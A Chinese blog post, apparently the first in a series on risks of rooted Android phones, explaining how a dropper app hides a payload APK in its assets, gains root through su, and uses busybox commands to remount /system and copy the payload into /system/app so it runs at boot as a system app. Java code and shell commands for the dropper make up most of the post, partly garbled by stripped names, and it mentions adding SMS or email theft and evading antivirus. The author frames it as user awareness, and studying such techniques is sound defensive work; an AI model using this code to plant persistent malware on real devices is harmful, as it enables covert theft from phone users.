前提：你有一部已经root的android手机，并且手机中有busybox和superuser
导读：本文介绍一种简单的病毒以及如何“防御”。
写本博客的原因是：有无数用户觉得root没有什么风险，或者风险不会降临到自己头上。这里告诉大家，其实风险就在身边！
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了，使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样，但是还是随意下载软件，不加小心，就会掉入陷阱。
有些人觉得，只要我下载软件的时候检查软件所申请的权限就好了，其实没有那么简单。
我们来看看如果一个软件，获得了一次root权限，那么它可以作些什么呢？
好吧，我们先来一次“静默安装”！
原理很简单，基本上相当于把apk push到手机里面，两个选择
data/app
system/app
如果我是病毒软件，我肯定选择push到system/app
我们需要制作两个apk，一个是真正目的的（病毒，），另一个是假的壳子（）
首先先制作，我们只是用来测试，所以这个apk没有什么实际内容（由于这里无法上传附件，请移步到 /blog/1668734 下载）。
里有一个receiver，用来监听开机的广播
.BOOT_COMPLETED
还有一个activity，没有什么实质内容，然后编译出apk，待用。
下面来制作壳子
新建一个android工程，将之前的复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单，它只负责把真实的应用安装到用户手机中，我们再细分一下，首先，将文件assets/提取出来，放到自己的私有目录中，在本例子中的目录为data/data//files，这一步是不需要任何权限的
(new () {
public void onClick(View v) {
File dataFolder = getFilesDir();
File jar = new File(() + "/");
copyFile("", jar, mResources);
}
});其中copFile函数见附件（就是一个简单的io读写操作），这里只给出伪代码
InputStream myInput = null;
try
myInput = ().open(filePath);
……
catch
……
finally
……第一步已经完成了，下一步请求root权限，然后将恶意安装给用户。
这里需要使用到busybox，命令如下
busybox mount -o remount,rw /system busybox cp /data/data//files/ /system/app/ busybox rm /data/data//files/
之所以使用busybox，是因为手机里面可能没有mount、cp、rm等命令（我的手机里面就没有）
当然superuser需要同意你使用root权限
至此，你的入侵行为已经全部完成！
(new () {
public void onClick(View v) {
String packageName = getPackageName();
String[] commands = {"busybox mount -o remount,rw /system",
"busybox cp /data/data/" + packageName + "/files/ /system/app/",
"busybox rm /data/data/" + packageName + "/files/"};
Process process = null;
DataOutputStream dataOutputStream = null;
try {
process = ().exec("su");
dataOutputStream = new DataOutputStream(());
int length = ;
for (int i = 0; i < length; i++) {
(TAG, "commands[" + i + "]:" + commands[i]);
(commands[i] + "\n");
}
("exit\n");
();
();
} catch (Exception e) {
(TAG, "copy fail", e);
} finally {
try {
if (dataOutputStream != null) {
();
}
();
} catch (Exception e) {
}
}
}
});
}重启手机之后，就能工作了，它会接收到开机广播
如果你嵌入了更恶劣的代码，比如偷发短信，窃取邮件，那么用户也是很难察觉的
在settings中会显示在系统应用中，用户不太会怀疑，即使怀疑了，他们也不敢轻易卸载！谁让他们自己随意刷rom呢，每个rom集成的软件都不一样。
如何防御？！
我不知道如何防御，最简单的办法就是，解压你来路不明的apk文件，看看assets文件下有没有什么可疑文件。当然，病毒可能会去掉或者修改文件名的后缀！
我手机中安装了卡巴斯基免费版，很可惜，它没有查出病毒（即使你的嵌入更恶意的代码）
大家可以试试其他杀毒软件，比如……希望大家能给个反馈结果
请大家不要用root的手机随意下载软件，更不要以任何借口制造任何病毒！
android手机root后的安全问题 （一）
android手机root后的安全问题 （二）
android手机root后的安全问题 （三）
android手机root后的安全问题 （四）
android安全问题（一） 静音拍照与被拍
android安全问题（二） 程序锁
android安全问题（三） 钓鱼程序
转贴请保留以下链接
本人blog地址
/
/su1216/